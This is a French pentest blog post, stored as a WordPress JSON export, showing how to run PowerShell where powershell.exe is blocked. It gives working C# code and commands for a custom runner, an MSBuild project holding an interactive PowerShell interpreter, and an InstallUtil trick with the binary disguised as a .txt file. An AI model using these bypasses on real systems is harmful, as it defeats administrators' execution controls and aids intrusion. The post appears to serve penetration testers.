{"id":474,"date":"2019-03-12T22:03:31","date_gmt":"2019-03-12T21:03:31","guid":{"rendered":"http:\/\/pentester.blog\/?p=474"},"modified":"2020-05-21T19:50:18","modified_gmt":"2020-05-21T17:50:18","slug":"executer-du-powershell-sans-powershell","status":"publish","type":"post","link":"https:\/\/hacktarus.fr\/?p=474","title":{"rendered":"Ex\u00e9cuter du powershell sans powershell ?!?"},"content":{"rendered":"\n<p>Lors d&rsquo;un audit ou un pentest il peut vous arriver de tomber sur une configuration Windows o\u00f9 l&rsquo;ex\u00e9cutable powershell.exe est blacklist\u00e9 ou bien supprim\u00e9 du syst\u00e8me.<\/p>\n\n\n\n<p>Dans ce cas, peut-on quand m\u00eame ex\u00e9cuter des scripts \u00e9crit en powershell ? La r\u00e9ponse est oui.<\/p>\n\n\n\n<p>Il se trouve que le framework .Net, tr\u00e8s largement pr\u00e9sent, fournit des moyens simples pour appeler des scripts powershell depuis la librairie <em>System.Management.Automation<\/em>.<\/p>\n\n\n\n<p>En .Net 4, cett DLL se trouve \u00e0 cet endroit : <\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll<\/pre>\n\n\n\n<p>En plus, comme pour nous aider, Microsoft fournit avec le framework .Net tout ce qu&rsquo;il faut pour compiler des programmes. On trouve le compilateur pour le language C# \u00e0 cet endroit :<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe<br><\/pre>\n\n\n\n<p><strong><em>Premi\u00e8re technique, on recr\u00e9e un ex\u00e9cutable capable de lire et d&rsquo;ex\u00e9cuter des scripts Powershell.<\/em><\/strong><\/p>\n\n\n\n<p>Rien de bien compliquer, le programme suivant <em>powerless.cs<\/em> fait exactement cela :<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">using System.Collections.ObjectModel; \nusing System.Management.Automation; \nusing System.Management.Automation.Runspaces; \nusing System.IO;\nusing System;\nusing System.Text;\nnamespace PSLess\n{\n  class PSLess\n  {\n    static void Main(string[] args)\n    {\n      if(args.Length ==0)\n          Environment.Exit(1);\n      string script=LoadScript(args[0]);\n      string s=RunScript(script);\n      Console.WriteLine(s);\n      Console.ReadKey();\n    }\n  private static string LoadScript(string filename) \n  { \n    string buffer =\"\";\n    try {\n     buffer = File.ReadAllText(filename);\n     }\n    catch (Exception e) \n    { \n      Console.WriteLine(e.Message);\n      Environment.Exit(2);\n     }\n   return buffer;\n  }\n  private static string RunScript(string script) \n  { \n     Runspace MyRunspace = RunspaceFactory.CreateRunspace();\n     MyRunspace.Open();\n     Pipeline MyPipeline = MyRunspace.CreatePipeline(); \n     MyPipeline.Commands.AddScript(script);\n     MyPipeline.Commands.Add(\"Out-String\");\n     Collection&lt;PSObject> outputs = MyPipeline.Invoke();\n     MyRunspace.Close();\n    StringBuilder sb = new StringBuilder(); \n    foreach (PSObject pobject in outputs) \n    { \n        sb.AppendLine(pobject.ToString()); \n    }\n     return sb.ToString(); \n   }\n  }\n }<\/pre>\n\n\n\n<p>Pour compiler ce programme il faut utiliser csc.exe en lan\u00e7ant la commande suivante :<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">csc.exe \/reference:C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll \/out:C:\\powerless.exe C:\\powerless.cs<\/pre>\n\n\n\n<p>En sortie nous avons donc maintenant un nouvel ex\u00e9cutable, <em>powerless.exe<\/em>, capable de lancer des scripts powershell, testons-le.<\/p>\n\n\n\n<p>Un petit script <em>test.ps1<\/em> :<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">echo \"Hello from powershell-less\"<br>echo \"PID: $pid\"<\/pre>\n\n\n\n<p>Et voila, il n&rsquo;y a plus qu&rsquo;\u00e0 lancer l&rsquo;ex\u00e9cution :<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"821\" height=\"150\" src=\"https:\/\/hacktarus.fr\/wp-content\/uploads\/2019\/03\/powerless-scr.png\" alt=\"\" class=\"wp-image-486\"\/><figcaption>Yes \u00e7a fonctionne !<\/figcaption><\/figure>\n\n\n\n<p><strong><em>Autre technique, on utilise des ex\u00e9cutables pr\u00e9sent dans le syst\u00e8me, si possible sign\u00e9s par Microsoft, pour lancer les scripts Powershell.<\/em><\/strong><\/p>\n\n\n\n<p>Commen\u00e7ons par une astuce qui consiste \u00e0 abuser de l&rsquo;ex\u00e9cutable <strong>msbuild <\/strong>(l&rsquo;\u00e9quivalent du make Linux pour Windows).  On trouve <em>msbuild.exe<\/em> \u00e0 cet endroit :<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe<\/pre>\n\n\n\n<p><strong> <\/strong>Msbuild prend en entr\u00e9e des projets ayant pour extension .csproj pour les programmes C#.<\/p>\n\n\n\n<p>Ces projets ne sont en fait que des fichiers XML d\u00e9crivant une liste de t\u00e2ches \u00e0 effectuer. L\u00e0 o\u00f9 cela devient vraiment int\u00e9ressant c&rsquo;est que Microsoft autorise le lancement de scripts \u00e0 l&rsquo;int\u00e9rieur m\u00eame du projet ! Quoi de mieux que pour en profiter pour y ins\u00e9rer le fameux powerless \u00e9crit en C# vu pr\u00e9c\u00e9demment.Voici un exemple de projet <em>test.csproj<\/em> incluant un interpr\u00e9teur Powershell complet :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;Project ToolsVersion=\"4.0\" xmlns=\"http:\/\/schemas.microsoft.com\/developer\/msbuild\/2003\">\n  &lt;Target Name=\"Hello\">\n   &lt;FragmentExample \/>\n   &lt;ClassExample \/>\n  &lt;\/Target>\n  &lt;UsingTask\n    TaskName=\"FragmentExample\"\n    TaskFactory=\"CodeTaskFactory\"\n    AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\" >\n    &lt;ParameterGroup\/>\n    &lt;Task>\n      &lt;Using Namespace=\"System\" \/>\n      &lt;Using Namespace=\"System.IO\" \/>\n      &lt;Code Type=\"Fragment\" Language=\"cs\">\n        &lt;![CDATA[\n                Console.WriteLine(\"Hello From Fragment\");\n        ]]>\n      &lt;\/Code>\n    &lt;\/Task>\n    &lt;\/UsingTask>\n    &lt;UsingTask\n    TaskName=\"ClassExample\"\n    TaskFactory=\"CodeTaskFactory\"\n    AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\" >\n    &lt;Task>\n      &lt;Reference Include=\"System.Management.Automation\" \/>\n      &lt;Code Type=\"Class\" Language=\"cs\">\n        &lt;![CDATA[\n            using System;\n            using System.IO;\n            using System.Diagnostics;\n            using System.Reflection;\n            using System.Runtime.InteropServices;\n            \/\/Add For PowerShell Invocation\n            using System.Collections.ObjectModel;\n            using System.Management.Automation;\n            using System.Management.Automation.Runspaces;\n            using System.Text;\n            using Microsoft.Build.Framework;\n            using Microsoft.Build.Utilities;\n                            \n            public class ClassExample :  Task, ITask\n            {\n                public override bool Execute()\n                {                    \n                    while(true)\n                    {       \n                        Console.Write(\"PS >\");\n                        string x = Console.ReadLine();\n                        try\n                        {\n                            Console.WriteLine(RunPSCommand(x));\n                        }\n                        catch (Exception e)\n                        {\n                            Console.WriteLine(e.Message);\n                        }\n                    }\n                    \n                    return true;\n                }\n                \n                \/\/Based on Jared Atkinson's And Justin Warner's Work\n                public static string RunPSCommand(string cmd)\n                {\n                    \/\/Init stuff\n                    Runspace runspace = RunspaceFactory.CreateRunspace();\n                    runspace.Open();\n                    RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);\n                    Pipeline pipeline = runspace.CreatePipeline();\n                    \/\/Add commands\n                    pipeline.Commands.AddScript(cmd);\n                    \/\/Prep PS for string output and invoke\n                    pipeline.Commands.Add(\"Out-String\");\n                    Collection&lt;PSObject> results = pipeline.Invoke();\n                    runspace.Close();\n                    \/\/Convert records to strings\n                    StringBuilder stringBuilder = new StringBuilder();\n                    foreach (PSObject obj in results)\n                    {\n                        stringBuilder.Append(obj);\n                    }\n                    return stringBuilder.ToString().Trim();\n                }\n                 \n                public static void RunPSFile(string script)\n                {\n                    PowerShell ps = PowerShell.Create();\n                    ps.AddScript(script).Invoke();\n                }   \n            }\n        ]]>\n      &lt;\/Code>\n    &lt;\/Task>\n  &lt;\/UsingTask>\n&lt;\/Project><\/code><\/pre>\n\n\n\n<p>Il n&rsquo;y a plus qu&rsquo;\u00e0 lancer msbuild.exe en passant en param\u00e8tre le projet que nous venons de cr\u00e9er :<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">msbuild test.csproj<\/pre>\n\n\n\n<p>Nous voil\u00e0 dans un interpr\u00e9teur Powershell fait maison !<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1322\" height=\"409\" src=\"https:\/\/hacktarus.fr\/wp-content\/uploads\/2019\/03\/powerless-msbuild-scr.png\" alt=\"\" class=\"wp-image-489\"\/><\/figure>\n\n\n\n<p><strong><em>M\u00eame technique mais avec un autre ex\u00e9cutable de Microsoft, cette fois avec le programme installutil.exe.<\/em><\/strong><\/p>\n\n\n\n<p>Ce programme sert habituellement \u00e0 enregistrer \/ d\u00e9senregister des services .Net d&rsquo;un programme. L&rsquo;astuce consiste \u00e0 \u00e9crire un programme qui impl\u00e9mente la m\u00e9thode <em>Uninstall<\/em> de fa\u00e7on \u00e0 \u00eatre appel\u00e9 par le programme installutil.exe.<\/p>\n\n\n\n<p>Reprenons le programme powerless.cs vu au tout d\u00e9but et ajoutons lui simplement la m\u00e9thode <em>Uninstall<\/em> dans laquelle nous appelons l&rsquo;interpr\u00e9teur powershell maison. Le code du programe <em>powerlesstxt.cs<\/em> est le suivant :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>using System.Collections.ObjectModel;\nusing System.Management.Automation;\nusing System.Management.Automation.Runspaces;\nusing System.Runtime.InteropServices;\nusing System.IO;\nusing System;\nusing System.Text;\nusing System.Configuration.Install;\nnamespace PSLess\n{\n [System.ComponentModel.RunInstaller(true)]\n public class InstallUtil : System.Configuration.Install.Installer\n {\n   public override void Uninstall(System.Collections.IDictionary savedState)\n   {\n       string[] args= {this.Context.Parameters[\"ScriptName\"]};\n       PSLess.Main(args);\n    }\n  }\n \nclass PSLess\n {\n   public static void Main(string[] args)\n   {\n     if (args.Length == 0)\n       Environment.Exit(1);\n     string script = LoadScript(args[0]);\n     string s = RunScript(script);\n     Console.WriteLine(s);\n   }\n  private static string LoadScript(string filename)\n  {\n    string buffer = \"\";\n    try\n    {\n     buffer = File.ReadAllText(filename);\n    }\n    catch (Exception e)\n    {\n      Console.WriteLine(e.Message);\n      Environment.Exit(2);\n    }\n    return buffer;\n  }\n  private static string RunScript(string script)\n  {\n    Runspace MyRunspace = RunspaceFactory.CreateRunspace();\n    MyRunspace.Open();\n    Pipeline MyPipeline = MyRunspace.CreatePipeline();\n    MyPipeline.Commands.AddScript(script);\n    MyPipeline.Commands.Add(\"Out-String\");\n    Collection&lt;PSObject> outputs = MyPipeline.Invoke();\n    MyRunspace.Close();\n    StringBuilder sb = new StringBuilder();\n    foreach (PSObject pobject in outputs)\n    {\n     sb.AppendLine(pobject.ToString());\n    }\n    return sb.ToString();\n  }\n }\n}<\/code><\/pre>\n\n\n\n<p>Il faut maintenant compiler ce programme C# avec cscs.exe, avec en prime un changement d&rsquo;extension pour faire croire qu&rsquo;il s&rsquo;agit d&rsquo;un fichier texte, en sortie nous avons le fichier <em>powerless.txt<\/em> :<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">csc.exe \/reference:C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll \/out:C:\\powerless.txt C:\\powerlesstxt.cs<\/pre>\n\n\n\n<p>Reste \u00e0 appeler <em>installutil.exe<\/em> avec les bons param\u00e8tres et le tour est jou\u00e9, le script de test est bien ex\u00e9cut\u00e9 !<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">installutil  \/logfile= \/LogToConsole=false \/ScriptName=C:\\test.ps1 \/U powerless.txt<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1318\" height=\"238\" src=\"https:\/\/hacktarus.fr\/wp-content\/uploads\/2019\/03\/powerless-installutil-scr.png\" alt=\"\" class=\"wp-image-495\"\/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Lors d&rsquo;un audit ou un pentest il peut vous arriver de tomber sur une configuration Windows o\u00f9 l&rsquo;ex\u00e9cutable powershell.exe est blacklist\u00e9 ou bien supprim\u00e9 du syst\u00e8me. Dans ce cas, peut-on quand m\u00eame ex\u00e9cuter des scripts \u00e9crit en powershell ? La r\u00e9ponse est oui. Il se trouve que le framework .Net, tr\u00e8s largement pr\u00e9sent, fournit des &hellip; <a href=\"https:\/\/hacktarus.fr\/?p=474\" class=\"more-link\">Continuer la lecture de <span class=\"screen-reader-text\">Ex\u00e9cuter du powershell sans powershell ?!?<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-474","post","type-post","status-publish","format-standard","hentry","category-pentest"],"_links":{"self":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/474","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=474"}],"version-history":[{"count":40,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/474\/revisions"}],"predecessor-version":[{"id":528,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/474\/revisions\/528"}],"wp:attachment":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=474"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=474"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=474"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}